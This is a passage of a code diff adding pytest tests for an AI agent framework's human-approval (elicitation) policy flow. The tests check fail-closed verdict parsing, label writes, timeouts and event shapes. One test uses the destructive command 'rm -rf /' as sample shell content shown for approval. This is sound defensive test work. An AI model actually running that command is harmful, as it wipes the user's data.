policy.spec = spec
policy._callable = _fixed
policy._is_async = False
policy._arity = 1
policy._config = dict(config) if config else {}
return policy
def _always_allow(event: dict[str, Any]) -> dict[str, Any]:
"""Fixture callable: always ALLOW with no label writes."""
return {"result": "allow"}
def _always_allow_taint_integrity(event: dict[str, Any]) -> dict[str, Any]:
"""Fixture callable: ALLOW and write ``integrity=0``."""
return {
"result": "allow",
"set_labels": {"integrity": "0"},
}
def make_fixed_function_policy_spec(
name: str,
*,
on: list[PhaseSelector] | None = None,
condition: dict[str, str] | None = None,
fn_path: str = "tests.runtime.policies.conftest._always_allow",
) -> FunctionPolicySpec:
"""
Build a :class:`FunctionPolicySpec` with a real importable path.
Use when tests need a spec that survives ``build_policy_engine``
(which calls ``resolve_function_policy`` → ``importlib``).
:param name: Policy name, e.g. ``"taint_web"``.
:param on: Phase selectors.
:param condition: Label-gate condition dict.
:param fn_path: Dotted import path to the callable.
:returns: A spec whose ``function.path`` resolves at import
time.
"""
return FunctionPolicySpec(
name=name,
on=on,
condition=condition,
function=FunctionRef(path=fn_path),
)
+868
View File
@@ -0,0 +1,868 @@
"""
Tests for :func:`_await_elicitation` and the verdict parser.
Ports these omnigent ``test_labels_and_policies.py`` cases:
- ``test_label_policy_ask_approve`` — accept round-trip
applies set_labels
- ``test_label_policy_ask_handler_receives_tool_args`` —
elicitation request carries the message + preview (our
shape is :class:`ElicitationRequest` rather than raw
tool_args)
- ``test_label_policy_ask_deny`` — decline leaves no writes
- ``test_ask_timeout`` — timeout → decline path
- ``test_ask_user_denies_not_timeout_message`` — decline reason
distinguishable from timeout
- ``test_no_handler_denies`` — missing verdict row → DENY
Plus refactor-specific coverage:
- Strict verdict parsing (only ``action == "accept"`` returns
True; everything else — ``decline`` / ``cancel`` / malformed /
missing field — returns False per POLICIES.md §13).
- Per-policy ask_timeout override via
``result.deciding_policy`` lookup.
- Labels apply on accept, NOT on decline / cancel / timeout /
malformed (load-bearing §7.2 invariant).
- Emitted SSE event shape matches MCP elicitation spec
(``response.elicitation_request`` with ``method =
"elicitation/create"`` + ``params`` block carrying mode /
message / requestedSchema + producer extras).
- Content preview truncated to 1024 chars.
- Cancel-during-elicitation semantics (via park returning None
with cancelled status).
"""
from __future__ import annotations
import json
from typing import Any
import pytest
from omnigent.errors import ElicitationDeclinedError
from omnigent.policies.function import FunctionPolicy
from omnigent.policies.types import ElicitationRequest, PolicyResult
from omnigent.runtime.policies.approval import (
ELICITATION_PENDING_TOOL_NAME,
_await_elicitation,
_is_explicit_decline,
_parse_verdict,
_truncate,
)
from omnigent.runtime.policies.approval import (
build_elicitation_params_json as _params_json,
)
from omnigent.runtime.policies.approval import (
build_elicitation_request_event as _elicitation_request_event,
)
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec.types import (
Phase,
PhaseSelector,
PolicyAction,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
from tests.runtime.policies.conftest import make_fixed_policy
# ── Fixtures / helpers ────────────────────────────────
def _engine_with_policies(
store: SqlAlchemyConversationStore,
policies: list,
ask_timeout: int = 30,
) -> PolicyEngine:
"""Build engine for tests that need `spec_for` to resolve."""
conv = store.create_conversation()
return PolicyEngine(
policies=policies,
label_defs={},
ask_timeout=ask_timeout,
conversation_id=conv.id,
initial_labels={},
conversation_store=store,
)
def _ask_policy(
name: str,
*,
ask_timeout: int | None = None,
set_labels: dict[str, str] | None = None,
) -> FunctionPolicy:
"""Build an ASKing FunctionPolicy — the typical ASK source."""
return make_fixed_policy(
name=name,
on=[PhaseSelector(phase=Phase.REQUEST)],
ask_timeout=ask_timeout,
action=PolicyAction.ASK,
reason="review needed",
set_labels=set_labels,
)
def _composed_ask(
*,
deciding_policy: str,
reason: str = "please approve",
set_labels: dict[str, str] | None = None,
) -> PolicyResult:
"""Fabricate an engine-composed ASK result."""
return PolicyResult(
action=PolicyAction.ASK,
reason=reason,
set_labels=set_labels,
deciding_policies=[deciding_policy],
)
class _Recorder:
"""
Test recorder for the register / emit callbacks.
Makes it trivial to assert on what the elicitation helper
published without touching a real SSE stream or store.
"""
def __init__(self) -> None:
self.registered: list[tuple[str, str, str]] = []
self.emitted: list[dict[str, Any]] = []
def register(self, elicitation_id: str, task_id: str, params_json: str) -> None:
"""Record one register() seam invocation.
:param elicitation_id: Helper-generated id (``elicit_...``
prefix).
:param task_id: The parked workflow's id.
:param params_json: JSON-encoded MCP params block.
"""
self.registered.append((elicitation_id, task_id, params_json))
def emit(self, event: dict[str, Any]) -> None:
"""Record one emit() seam invocation.
:param event: The SSE event dict the helper would publish.
"""
self.emitted.append(event)
def _accepting_park(verdict: str) -> Any:
"""Park callback that instantly returns the given verdict string.
:param verdict: Pre-canned JSON-encoded :class:`ElicitationResult`
body, e.g. ``'{"action": "accept"}'``.
:returns: An async park-shaped callable.
"""
async def _park(elicitation_id: str, timeout_s: int) -> str:
return verdict
return _park
def _timing_out_park() -> Any:
"""Park callback that always raises TimeoutError."""
async def _park(elicitation_id: str, timeout_s: int) -> str:
raise TimeoutError(f"no verdict within {timeout_s}s")
return _park
def _returns_none_park() -> Any:
"""Park callback that returns None — cancelled or missing row."""
async def _park(elicitation_id: str, timeout_s: int) -> str | None:
return None
return _park
# ── _is_explicit_decline ──────────────────────────────
@pytest.mark.parametrize(
("raw", "expected"),
[
('{"action": "decline"}', True),
('{"action": "accept"}', False),
('{"action": "cancel"}', False), # cancel ≠ explicit decline
('{"action": "DECLINE"}', False), # case-sensitive
(None, False),
("not json", False),
("{}", False),
],
)
def test_is_explicit_decline(raw: str | None, expected: bool) -> None:
"""Only exact ``action == "decline"`` is an explicit decline.
cancel, accept, malformed, and None all return False."""
assert _is_explicit_decline(raw) is expected
# ── _parse_verdict ─────────────────────────────────────
@pytest.mark.parametrize(
("raw", "expected"),
[
('{"action": "accept"}', True),
('{"action": "decline"}', False),
('{"action": "cancel"}', False),
('{"action": "ACCEPT"}', False), # strict — case matters
('{"action": "approved"}', False), # not a valid action
('{"action": true}', False), # wrong type
('{"action": null}', False),
("{}", False), # missing action
('{"approved": true}', False), # legacy shape — must NOT pass
("not json", False),
("", False),
(None, False),
('[{"action": "accept"}]', False), # non-dict root
# ``content`` is allowed but ignored for binary verdicts —
# ``action`` is the sole truth.
('{"action": "accept", "content": null}', True),
('{"action": "accept", "content": {"approved": true}}', True),
('{"action": "decline", "content": {"approved": true}}', False),
],
)
def test_parse_verdict_strict(raw: str | None, expected: bool) -> None:
"""Strict verdict parser: only ``action == "accept"`` returns
True. Everything else (decline, cancel, malformed, missing
field, legacy ``{"approved": ...}`` shape) returns False —
fail-closed per POLICIES.md §13.
The ``approved`` case exists specifically to guard against
silently accepting the legacy shape if a stale client (or a
misconfigured middleware) sends one. Under the new contract
only ``action`` is meaningful; an ``approved`` field would
miss the ``action`` requirement and correctly fail-closed."""
assert _parse_verdict(raw) is expected
# ── _truncate ──────────────────────────────────────────
def test_truncate_short_passes() -> None:
"""Under-limit text returns unchanged."""
assert _truncate("hi", limit=10) == "hi"
def test_truncate_long_clips_with_marker() -> None:
"""Over-limit text is clipped with an explicit marker
so viewers can see truncation happened."""
clipped = _truncate("x" * 100, limit=20)
# First 20 chars of x, then the marker.
assert clipped == "x" * 20 + " [truncated]"
# ── ElicitationRequest serialization ──────────────────
def test_params_json_serializes_all_fields() -> None:
"""Every field round-trips through JSON in the
canonical MCP-shape ``params`` block (mode/message/
requestedSchema + extras). The renderer reads
these from both the SSE event ``params`` block AND
the persisted ``pending_tool_calls.arguments`` column —
they must agree."""
req = ElicitationRequest(
message="needs review",
phase="tool_call",
policy_names=["confirm_shell"],
content_preview="ls -la",
)
data = json.loads(_params_json(req))
# Top-level shape matches MCP ElicitRequestFormParams +
# MCP-allowed extras (extra="allow" on the params model).
assert data == {
"mode": "form",
"message": "needs review",
# Empty {} for binary approve/reject — verdict lives
# in the consumer's MCP ``action`` field.
"requestedSchema": {},
"phase": "tool_call",
"policy_name": "confirm_shell",
"content_preview": "ls -la",
}
def test_elicitation_request_event_shape() -> None:
"""The SSE event payload has the canonical envelope
(type/elicitation_id/method) and the MCP-shape params
block. Locks the wire contract — drift here would
silently break MCP-compatible consumers."""
req = ElicitationRequest(
message="needs review",
phase="tool_call",
policy_names=["confirm_shell"],
content_preview="ls -la",
)
event = _elicitation_request_event("elicit_xyz", req)
assert event["type"] == "response.elicitation_request"
assert event["elicitation_id"] == "elicit_xyz"
# Method name is the MCP JSON-RPC method, surfaced
# verbatim so MCP-aware consumers can route on it.
assert event["method"] == "elicitation/create"
params = event["params"]
# Field names must match MCP spec exactly: requestedSchema
# (camelCase, not snake_case).
assert params["mode"] == "form"
assert params["message"] == "needs review"
assert params["requestedSchema"] == {}
# Extras (allowed by MCP's extra="allow") carry the
# producer's policy context for the renderer.
assert params["phase"] == "tool_call"
assert params["policy_name"] == "confirm_shell"
assert params["content_preview"] == "ls -la"
def test_elicitation_request_event_url_mode(monkeypatch: pytest.MonkeyPatch) -> None:
"""When ``_ELICITATION_MODE`` is ``"url"`` (the default) and a
``session_id`` is provided, the event carries ``mode: "url"`` and
the standalone approval page path as ``params.url``.
This is the primary contract the frontend relies on to render a
link instead of inline buttons.
"""
monkeypatch.setattr("omnigent.runtime.policies.approval._ELICITATION_MODE", "url")
req = ElicitationRequest(
message="approve shell?",
phase="tool_call",
policy_names=["shell_gate"],
content_preview="rm -rf /",
)
event = _elicitation_request_event("elicit_abc", req, session_id="conv_123")
params = event["params"]
assert params["mode"] == "url"
assert params["url"] == "/approve/conv_123/elicit_abc"
# Message and extras are still present.
assert params["message"] == "approve shell?"
def test_elicitation_request_event_form_mode_explicit(monkeypatch: pytest.MonkeyPatch) -> None:
"""When ``_ELICITATION_MODE`` is ``"form"``, the event stays in
form mode and carries no ``url`` field even when session_id is
provided.
"""
monkeypatch.setattr("omnigent.runtime.policies.approval._ELICITATION_MODE", "form")
req = ElicitationRequest(
message="approve?",
phase="tool_call",
policy_names=["gate"],
content_preview="ls",
)
event = _elicitation_request_event("elicit_abc", req, session_id="conv_123")
params = event["params"]
assert params["mode"] == "form"
assert "url" not in params
def test_elicitation_request_event_no_session_id_stays_form(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""Without ``session_id`` (runner-side calls), the event always
uses form mode regardless of config — the runner doesn't serve
HTML pages.
"""
monkeypatch.setattr("omnigent.runtime.policies.approval._ELICITATION_MODE", "url")
req = ElicitationRequest(
message="approve?",
phase="tool_call",
policy_names=["gate"],
content_preview="",
)
event = _elicitation_request_event("elicit_abc", req)
params = event["params"]
assert params["mode"] == "form"
assert "url" not in params
# ── _await_elicitation — happy paths ──────────────────
@pytest.mark.asyncio
async def test_accept_applies_labels(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Ports omnigent
``test_label_policy_ask_approve``. On accept, the
ASK-accumulated set_labels reach the store."""
policy = _ask_policy("gate", set_labels={"integrity": "0"})
engine = _engine_with_policies(conversation_store, [policy])
recorder = _Recorder()
result = _composed_ask(
deciding_policy="gate",
set_labels={"integrity": "0"},
)
accepted = await _await_elicitation(
task_id="task_1",
root_task_id="task_1",
result=result,
phase=Phase.REQUEST,
content_preview="hello",
policy_engine=engine,
register=recorder.register,
emit=recorder.emit,
park=_accepting_park('{"action": "accept"}'),
)
assert accepted is True
# Labels landed — both hot cache and persisted.
assert engine.labels == {"integrity": "0"}
conv = conversation_store.get_conversation(engine.conversation_id)
assert conv is not None
assert conv.labels == {"integrity": "0"}
@pytest.mark.asyncio
async def test_decline_raises_elicitation_declined_error(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Explicit ``action == "decline"`` raises ElicitationDeclinedError
instead of returning False, so callers can abort the agent turn
rather than feeding a DENY to the LLM and continuing."""
policy = _ask_policy("gate", set_labels={"integrity": "0"})
engine = _engine_with_policies(conversation_store, [policy])
recorder = _Recorder()
result = _composed_ask(
deciding_policy="gate",
reason="review needed",
set_labels={"integrity": "0"},
)
with pytest.raises(ElicitationDeclinedError) as exc_info:
await _await_elicitation(
task_id="task_1",
root_task_id="task_1",
result=result,
phase=Phase.REQUEST,
content_preview="hello",
policy_engine=engine,
register=recorder.register,
emit=recorder.emit,
park=_accepting_park('{"action": "decline"}'),
)
assert exc_info.value.policy_name == "gate"
# No labels landed — §7.2 invariant preserved.
assert engine.labels == {}
conv = conversation_store.get_conversation(engine.conversation_id)
assert conv is not None
assert conv.labels == {}
@pytest.mark.asyncio
async def test_cancel_does_not_apply_labels(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""``cancel`` (user dismissed without an explicit
decision) is treated identically to ``decline`` for
label-write semantics — no side effects."""
policy = _ask_policy("gate", set_labels={"integrity": "0"})
engine = _engine_with_policies(conversation_store, [policy])
recorder = _Recorder()
result = _composed_ask(
deciding_policy="gate",
set_labels={"integrity": "0"},
)
accepted = await _await_elicitation(
task_id="task_1",
root_task_id="task_1",
result=result,
phase=Phase.REQUEST,
content_preview="hello",
policy_engine=engine,
register=recorder.register,
emit=recorder.emit,
park=_accepting_park('{"action": "cancel"}'),
)
assert accepted is False
assert engine.labels == {}
@pytest.mark.asyncio
async def test_timeout_does_not_apply_labels(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Ports omnigent ``test_ask_timeout``. Park raises
TimeoutError → helper returns False without applying
labels."""
policy = _ask_policy("gate", set_labels={"integrity": "0"})
engine = _engine_with_policies(conversation_store, [policy])
recorder = _Recorder()
result = _composed_ask(
deciding_policy="gate",
set_labels={"integrity": "0"},
)
accepted = await _await_elicitation(
task_id="task_1",
root_task_id="task_1",
result=result,
phase=Phase.REQUEST,
content_preview="hello",
policy_engine=engine,
register=recorder.register,
emit=recorder.emit,
park=_timing_out_park(),
)
assert accepted is False
# Labels not applied on timeout.
assert engine.labels == {}
@pytest.mark.asyncio
async def test_missing_verdict_row_denies(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Ports omnigent ``test_no_handler_denies``. Park
returns None (cancelled / missing row) → helper returns
False. Covers the cancel-during-elicitation path where
the pending row was advanced to ``cancelled`` by the
cancel handler (POLICIES.md §12)."""
policy = _ask_policy("gate", set_labels={"integrity": "0"})
engine = _engine_with_policies(conversation_store, [policy])
recorder = _Recorder()
result = _composed_ask(deciding_policy="gate", set_labels={"integrity": "0"})
accepted = await _await_elicitation(
task_id="task_1",
root_task_id="task_1",
result=result,
phase=Phase.REQUEST,
content_preview="hello",
policy_engine=engine,
register=recorder.register,
emit=recorder.emit,
park=_returns_none_park(),
)
assert accepted is False
assert engine.labels == {}
@pytest.mark.asyncio
async def test_malformed_verdict_denies(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""A verdict row with garbage ``output`` → helper returns
False. The route stays a dumb pipe; verdict parsing
fail-closes here (POLICIES.md §13 malformed-verdict
rule)."""
policy = _ask_policy("gate")
engine = _engine_with_policies(conversation_store, [policy])
recorder = _Recorder()
result = _composed_ask(deciding_policy="gate")
accepted = await _await_elicitation(
task_id="task_1",
root_task_id="task_1",
result=result,
phase=Phase.REQUEST,
content_preview="hello",
policy_engine=engine,
register=recorder.register,
emit=recorder.emit,
# Garbage JSON → strict parser returns False.
park=_accepting_park("banana garbage"),
)
assert accepted is False
# ── Register + emit payloads ──────────────────────────
@pytest.mark.asyncio
async def test_registers_pending_row(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""The register callback receives the generated
elicitation_id, the task_id, and the params JSON. These
three fields are what the approval dispatcher uses to
route a verdict back to the parked workflow."""
policy = _ask_policy("gate")
engine = _engine_with_policies(conversation_store, [policy])
recorder = _Recorder()
result = _composed_ask(deciding_policy="gate", reason="please")
await _await_elicitation(
task_id="task_abc",
root_task_id="task_abc",
result=result,
phase=Phase.TOOL_CALL,
content_preview="ls -la",
policy_engine=engine,
register=recorder.register,
emit=recorder.emit,
park=_accepting_park('{"action": "accept"}'),
)
# Exactly one row registered.
assert len(recorder.registered) == 1
elicitation_id, task_id, params_json = recorder.registered[0]
# Elicitation_id has the expected prefix matching the
# MCP-style id naming.
assert elicitation_id.startswith("elicit_")
# Task_id matches the parked workflow.
assert task_id == "task_abc"
# Params carry the MCP shape + producer extras.
args = json.loads(params_json)
assert args["mode"] == "form"
# Combined ASK reason becomes the elicitation message.
assert args["message"] == "please"
assert args["phase"] == "tool_call"
assert args["policy_name"] == "gate"
assert args["content_preview"] == "ls -la"
# Empty schema for binary approve/reject — verdict lives
# in the consumer's MCP action.
assert args["requestedSchema"] == {}
@pytest.mark.asyncio
async def test_emits_elicitation_request_event(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""The emit callback receives a
``response.elicitation_request`` SSE event with MCP-shape
params. This is what the SDK's _parse_event branch
dispatches on, surfacing it as an ``ElicitationRequest``
event upstream."""
policy = _ask_policy("gate")
engine = _engine_with_policies(conversation_store, [policy])
recorder = _Recorder()
result = _composed_ask(deciding_policy="gate", reason="please review")
await _await_elicitation(
task_id="task_abc",
root_task_id="task_abc",
result=result,
phase=Phase.REQUEST,
content_preview="x",
policy_engine=engine,
register=recorder.register,
emit=recorder.emit,
park=_accepting_park('{"action": "accept"}'),
)
assert len(recorder.emitted) == 1
event = recorder.emitted[0]
# Top-level envelope.
assert event["type"] == "response.elicitation_request"
assert event["method"] == "elicitation/create"
# elicitation_id is consistent between register and emit.
registered_id = recorder.registered[0][0]
assert event["elicitation_id"] == registered_id
# Params block is byte-compatible with MCP
# ElicitRequestFormParams shape.
params = event["params"]
assert params["mode"] == "form"
assert params["message"] == "please review"
assert params["requestedSchema"] == {}
# Producer extras ride along as per MCP extra="allow".
assert params["phase"] == "request"
assert params["policy_name"] == "gate"
assert params["content_preview"] == "x"
# ── Per-policy ask_timeout override ───────────────────
@pytest.mark.asyncio
async def test_per_policy_ask_timeout_override_wins(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""When the deciding policy has its own ask_timeout,
that value is passed to the park callback — not the
engine's default. Enables long-review policies (e.g.
50 KB documents) without bumping the global default."""
captured: dict[str, int] = {}
async def _capturing_park(elicitation_id: str, timeout_s: int) -> str:
captured["timeout_s"] = timeout_s
return '{"action": "accept"}'
# Policy declares its own 300s timeout.
policy = _ask_policy("long_review", ask_timeout=300)
engine = _engine_with_policies(
conversation_store,
[policy],
ask_timeout=30,
)
recorder = _Recorder()
result = _composed_ask(deciding_policy="long_review")
await _await_elicitation(
task_id="task_1",
root_task_id="task_1",
result=result,
phase=Phase.REQUEST,
content_preview="x",
policy_engine=engine,
register=recorder.register,
emit=recorder.emit,
park=_capturing_park,
)
# Per-policy 300 beat engine's 30.
assert captured["timeout_s"] == 300
@pytest.mark.asyncio
async def test_engine_ask_timeout_default_when_no_override(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Without a per-policy override, the engine's spec-level
default applies."""
captured: dict[str, int] = {}
async def _capturing_park(elicitation_id: str, timeout_s: int) -> str:
captured["timeout_s"] = timeout_s
return '{"action": "accept"}'
policy = _ask_policy("gate", ask_timeout=None)
engine = _engine_with_policies(
conversation_store,
[policy],
ask_timeout=45,
)
recorder = _Recorder()
result = _composed_ask(deciding_policy="gate")
await _await_elicitation(
task_id="task_1",
root_task_id="task_1",
result=result,
phase=Phase.REQUEST,
content_preview="x",
policy_engine=engine,
register=recorder.register,
emit=recorder.emit,
park=_capturing_park,
)
# Engine's 45 used because policy didn't override.
assert captured["timeout_s"] == 45
@pytest.mark.asyncio
async def test_unknown_deciding_policy_falls_back_to_engine_timeout(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""If deciding_policy is set to a name the engine
doesn't know (shouldn't happen in production but
defensive), fallback to the engine default."""
captured: dict[str, int] = {}
async def _capturing_park(elicitation_id: str, timeout_s: int) -> str:
captured["timeout_s"] = timeout_s
return '{"action": "accept"}'
engine = _engine_with_policies(
conversation_store,
[],
ask_timeout=60,
)
recorder = _Recorder()
result = _composed_ask(deciding_policy="nonexistent")
await _await_elicitation(
task_id="task_1",
root_task_id="task_1",
result=result,
phase=Phase.REQUEST,
content_preview="x",
policy_engine=engine,
register=recorder.register,
emit=recorder.emit,
park=_capturing_park,
)
# Unknown name → engine default.
assert captured["timeout_s"] == 60
# ── Content preview truncation ────────────────────────
@pytest.mark.asyncio
async def test_content_preview_truncated_to_1024(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Long content previews are clipped so the UI is not
swamped. 1024 is the chosen limit (POLICIES.md §7.2).
The truncated value rides through both the persisted
params JSON AND the SSE event params block — they
derive from the same internal :class:`ElicitationRequest`
so both stay in sync."""
policy = _ask_policy("gate")
engine = _engine_with_policies(conversation_store, [policy])
recorder = _Recorder()
result = _composed_ask(deciding_policy="gate")
await _await_elicitation(
task_id="task_1",
root_task_id="task_1",
result=result,
phase=Phase.REQUEST,
content_preview="A" * 2000,
policy_engine=engine,
register=recorder.register,
emit=recorder.emit,
park=_accepting_park('{"action": "accept"}'),
)
args = json.loads(recorder.registered[0][2])
preview = args["content_preview"]
# Exactly 1024 chars + " [truncated]" suffix.
assert preview.startswith("A" * 1024)
assert preview.endswith(" [truncated]")
# SSE event preview matches the persisted one.
event_preview = recorder.emitted[0]["params"]["content_preview"]
assert event_preview == preview
# ── No set_labels on result ───────────────────────────
@pytest.mark.asyncio
async def test_accept_with_no_set_labels_is_noop(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""An ASK result carrying no set_labels (empty/None) on
accept does not touch the store — no pointless empty
apply_label_writes call."""
policy = _ask_policy("gate")
engine = _engine_with_policies(conversation_store, [policy])
recorder = _Recorder()
# Result has no set_labels — a policy that just wants
# approval without writing state.
result = _composed_ask(deciding_policy="gate", set_labels=None)
accepted = await _await_elicitation(
task_id="task_1",
root_task_id="task_1",
result=result,
phase=Phase.REQUEST,
content_preview="x",
policy_engine=engine,
register=recorder.register,
emit=recorder.emit,
park=_accepting_park('{"action": "accept"}'),
)
assert accepted is True
# Store unchanged — no spurious empty writes.
conv = conversation_store.get_conversation(engine.conversation_id)
assert conv is not None
assert conv.labels == {}
# ── Sentinel constant ─────────────────────────────────
def test_elicitation_pending_tool_name_is_internal_sentinel() -> None:
"""The pending row's ``tool_name`` column carries an
internal sentinel (double-underscore prefix) — never an
LLM-callable tool name. Locks the value so a rename
breaks loud (the approval dispatcher's row-routing depends
on this exact string)."""
assert ELICITATION_PENDING_TOOL_NAME == "__elicitation__"
# Sentinel must look internal so a tool_results PATCH
# accidentally targeting an elicitation row would be
# easy to spot in logs.
assert ELICITATION_PENDING_TOOL_NAME.startswith("__")
@@ -0,0 +1,528 @@
"""
End-to-end ASK cycle tests — engine + elicitation helper
composed in the same sequence the workflow uses.
Each test runs the canonical cycle:
1. ``engine.evaluate(ctx)`` → ASK result with accumulated
label writes.
2. Caller hands the result to :func:`_await_elicitation`
with stub register / emit / park callbacks.
3. Verdict drives labels-apply-or-drop per §7.2.
4. Next ``engine.evaluate(ctx)`` sees the post-elicitation
state.
This is the complete ASK-cycle contract — wires the engine
and elicitation helper together the same way ``_run_agent_loop``
does in production.
"""
from __future__ import annotations
import json
from typing import Any
import pytest
from omnigent.errors import ElicitationDeclinedError
from omnigent.policies.function import FunctionPolicy
from omnigent.policies.types import EvaluationContext, PolicyResult
from omnigent.runtime.policies import _await_elicitation
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec.types import (
Phase,
PhaseSelector,
PolicyAction,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
from tests.runtime.policies.conftest import make_fixed_policy
# ── Harness ────────────────────────────────────────────
class _ElicitationHarness:
"""
Bundle the register/emit/park seams so tests read cleanly.
:param verdict: JSON-encoded MCP ``ElicitResult`` body
(e.g. ``'{"action": "accept"}'``), the literal string
``"TIMEOUT"`` to make :meth:`park` raise
:class:`TimeoutError`, or ``None`` to model a no-row
wake.
"""
def __init__(self, verdict: str | None) -> None:
self._verdict = verdict
self.registered_elicitation_ids: list[str] = []
self.registered_params_json: list[str] = []
self.emitted_events: list[dict[str, Any]] = []
def register(
self,
elicitation_id: str,
task_id: str,
params_json: str,
) -> None:
"""
Record the elicitation_id and params_json so the test
can later correlate verdict routing AND verify the
persisted params match the emitted event.
:param elicitation_id: The id assigned by the helper,
e.g. ``"elicit_abc123"``.
:param task_id: Parked workflow id (unused).
:param params_json: JSON-encoded params block — what
the production registration would persist on the
``pending_tool_calls.arguments`` column.
"""
self.registered_elicitation_ids.append(elicitation_id)
self.registered_params_json.append(params_json)
def emit(self, event: dict[str, Any]) -> None:
"""
Record the SSE event — tests inspect the
``response.elicitation_request`` shape for spec parity.
:param event: The event dict the helper publishes.
"""
self.emitted_events.append(event)
async def park(
self,
elicitation_id: str,
timeout_s: int,
) -> str | None:
"""
Return the pre-configured verdict string, or raise
TimeoutError when verdict is ``"TIMEOUT"``.
:param elicitation_id: The id passed to :meth:`register`
(unused; tests assert on the recorded list).
:param timeout_s: Resolved timeout (unused).
:returns: The verdict string passed at construction.
"""
if self._verdict == "TIMEOUT":
raise TimeoutError(f"no verdict within {timeout_s}s")
return self._verdict
async def _run_ask_cycle(
engine: PolicyEngine,
ctx: EvaluationContext,
harness: _ElicitationHarness,
) -> tuple[PolicyResult, bool]:
"""
Drive one full ASK cycle through the engine + elicitation
helper. Returns the composed result + final approval
outcome.
:param engine: The engine under test.
:param ctx: Evaluation context for the phase.
:param harness: Stub register/emit/park bundle.
:returns: Tuple of (composed result, approved bool).
"""
result = await engine.evaluate(ctx)
assert result.action == PolicyAction.ASK, (
f"Harness expects ASK from evaluate(); got {result.action}"
)
try:
approved = await _await_elicitation(
task_id="task_1",
root_task_id="task_1",
result=result,
phase=ctx.phase,
content_preview=str(ctx.content),
policy_engine=engine,
register=harness.register,
emit=harness.emit,
park=harness.park,
)
except ElicitationDeclinedError:
approved = False
return result, approved
def _ask_policy(
name: str,
*,
phase: Phase = Phase.TOOL_CALL,
tool_name: str | None = "run_shell",
condition: dict[str, str | list[str]] | None = None,
set_labels: dict[str, str] | None = None,
reason: str = "approval required",
) -> FunctionPolicy:
"""Build an ASKing FunctionPolicy — the typical ASK source."""
return make_fixed_policy(
name=name,
on=[PhaseSelector(phase=phase, tool_name=tool_name)],
condition=condition,
action=PolicyAction.ASK,
reason=reason,
set_labels=set_labels,
)
def _build_engine(
store: SqlAlchemyConversationStore,
policies: list,
*,
initial_labels: dict[str, str] | None = None,
) -> PolicyEngine:
"""Build engine + fresh conversation."""
conv = store.create_conversation()
return PolicyEngine(
policies=policies,
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels=initial_labels or {},
conversation_store=store,
)
# ── Happy path: ASK → approve → labels land ──────────
@pytest.mark.asyncio
async def test_ask_cycle_approve_lands_labels(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""End-to-end: engine ASKs with pending label writes;
caller approves; labels reach the store AND the hot
cache. Next evaluation sees the new state."""
policy = _ask_policy(
"confirm_dangerous",
set_labels={"approved_once": "true"},
)
engine = _build_engine(conversation_store, [policy])
harness = _ElicitationHarness('{"action": "accept"}')
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "run_shell", "arguments": {"cmd": "ls"}},
tool_name="run_shell",
)
result, approved = await _run_ask_cycle(engine, ctx, harness)
assert approved is True
# Engine-composed result carried the pending writes.
assert result.set_labels == {"approved_once": "true"}
# Post-approval hot cache reflects the write.
assert engine.labels == {"approved_once": "true"}
# Persisted — next workflow replay sees the same state.
conv = conversation_store.get_conversation(engine.conversation_id)
assert conv is not None
assert conv.labels == {"approved_once": "true"}
@pytest.mark.asyncio
async def test_ask_cycle_decline_drops_labels(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""ASK → decline → labels DROPPED. Load-bearing §7.2
invariant: a denied ASK must leave no trace. If this
regresses, users could effectively approve operations
by denying them."""
policy = _ask_policy(
"confirm_dangerous",
set_labels={"approved_once": "true"},
)
engine = _build_engine(conversation_store, [policy])
harness = _ElicitationHarness('{"action": "decline"}')
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "run_shell", "arguments": {"cmd": "ls"}},
tool_name="run_shell",
)
result, approved = await _run_ask_cycle(engine, ctx, harness)
assert approved is False
# set_labels returned on the result (caller would know
# what was SUPPOSED to land), but NOT applied to the store.
assert result.set_labels == {"approved_once": "true"}
assert engine.labels == {}
conv = conversation_store.get_conversation(engine.conversation_id)
assert conv is not None
assert conv.labels == {}
@pytest.mark.asyncio
async def test_ask_cycle_cancel_drops_labels(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""ASK → cancel → labels DROPPED. Per MCP semantics,
``cancel`` is a non-accept verdict — the §7.2 fail-closed
invariant treats it identically to ``decline``."""
policy = _ask_policy(
"confirm_dangerous",
set_labels={"approved_once": "true"},
)
engine = _build_engine(conversation_store, [policy])
harness = _ElicitationHarness('{"action": "cancel"}')
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "run_shell", "arguments": {"cmd": "ls"}},
tool_name="run_shell",
)
_, approved = await _run_ask_cycle(engine, ctx, harness)
assert approved is False
assert engine.labels == {}
@pytest.mark.asyncio
async def test_ask_cycle_timeout_drops_labels(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""ASK → timeout → labels DROPPED. Timeout path yields
same side-effect-free outcome as explicit decline."""
policy = _ask_policy(
"gate",
set_labels={"integrity": "0"},
)
engine = _build_engine(conversation_store, [policy])
harness = _ElicitationHarness("TIMEOUT")
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "run_shell", "arguments": {}},
tool_name="run_shell",
)
_, approved = await _run_ask_cycle(engine, ctx, harness)
assert approved is False
assert engine.labels == {}
conv = conversation_store.get_conversation(engine.conversation_id)
assert conv is not None
assert conv.labels == {}
# ── Multi-policy ASK composition cycle ────────────────
